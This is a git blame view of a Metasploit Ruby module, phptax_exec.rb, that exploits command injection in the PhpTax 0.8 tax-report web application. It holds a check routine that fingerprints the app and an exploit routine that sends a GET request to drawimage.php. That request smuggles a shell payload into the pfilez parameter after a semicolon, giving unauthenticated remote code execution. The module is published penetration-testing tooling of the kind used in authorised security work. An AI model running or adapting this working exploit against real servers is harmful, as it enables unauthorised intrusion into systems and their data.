Files
metasploit-gs/modules/exploits/multi/http/phptax_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

91 lines
2.5 KiB
Ruby
Raw Normal View History

2012-10-08 12:46:56 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-10-08 12:46:56 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-10-08 12:46:56 -05:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
2025-06-20 13:20:44 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => "PhpTax pfilez Parameter Exec Remote Code Injection",
'Description' => %q{
2012-10-08 12:46:56 -05:00
This module exploits a vulnerability found in PhpTax, an income tax report
2025-06-20 13:20:44 +01:00
generator. When generating a PDF, the icondrawpng() function in drawimage.php
does not properly handle the pfilez parameter, which will be used in an exec()
statement, and then results in arbitrary remote code execution under the context
of the web server. Please note: authentication is not required to exploit this
vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [
2012-10-08 12:46:56 -05:00
'Jean Pascal Pereira <pereira[at]secbiz.de>',
2025-06-20 13:20:44 +01:00
'sinn3r' # Metasploit
2012-10-08 12:46:56 -05:00
],
2025-06-20 13:20:44 +01:00
'References' => [
['OSVDB', '86992'],
2012-10-08 12:46:56 -05:00
['EDB', '21665']
],
2025-06-20 13:20:44 +01:00
'Payload' => {
2012-10-08 12:46:56 -05:00
'Compat' =>
2025-06-20 13:20:44 +01:00
{
'ConnectionType' => 'find',
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby telnet python'
}
2012-10-08 12:46:56 -05:00
},
2025-06-20 13:20:44 +01:00
'Platform' => %w{linux unix},
'Targets' => [
2012-10-08 12:46:56 -05:00
['PhpTax 0.8', {}]
],
2025-06-20 13:20:44 +01:00
'Arch' => ARCH_CMD,
'Privileged' => false,
'DisclosureDate' => '2012-10-08',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2012-10-08 12:46:56 -05:00
register_options(
[
2012-10-08 13:35:13 -05:00
OptString.new('TARGETURI', [true, 'The path to the web application', '/phptax/'])
2025-06-20 13:20:44 +01:00
]
)
2012-10-08 12:46:56 -05:00
end
def check
2012-11-08 17:42:48 +01:00
uri = normalize_uri(target_uri.path)
2025-06-20 13:20:44 +01:00
uri << '/' if uri[-1, 1] != '/'
res = send_request_raw({ 'uri' => uri })
2012-10-08 12:46:56 -05:00
if res and res.body =~ /PHPTAX by William L\. Berggren/
return Exploit::CheckCode::Detected
else
2014-01-21 14:10:35 -06:00
return Exploit::CheckCode::Safe
2012-10-08 12:46:56 -05:00
end
end
def exploit
2013-01-30 23:23:41 -06:00
uri = target_uri.path
2012-10-08 12:46:56 -05:00
print_status("#{rhost}#{rport} - Sending request...")
res = send_request_cgi({
2025-06-20 13:20:44 +01:00
'method' => 'GET',
'uri' => normalize_uri(uri, "drawimage.php"),
2012-10-08 12:46:56 -05:00
'vars_get' => {
2025-06-20 13:20:44 +01:00
'pdf' => 'make',
2012-10-08 12:46:56 -05:00
'pfilez' => "xxx; #{payload.encoded}"
}
})
handler
end
end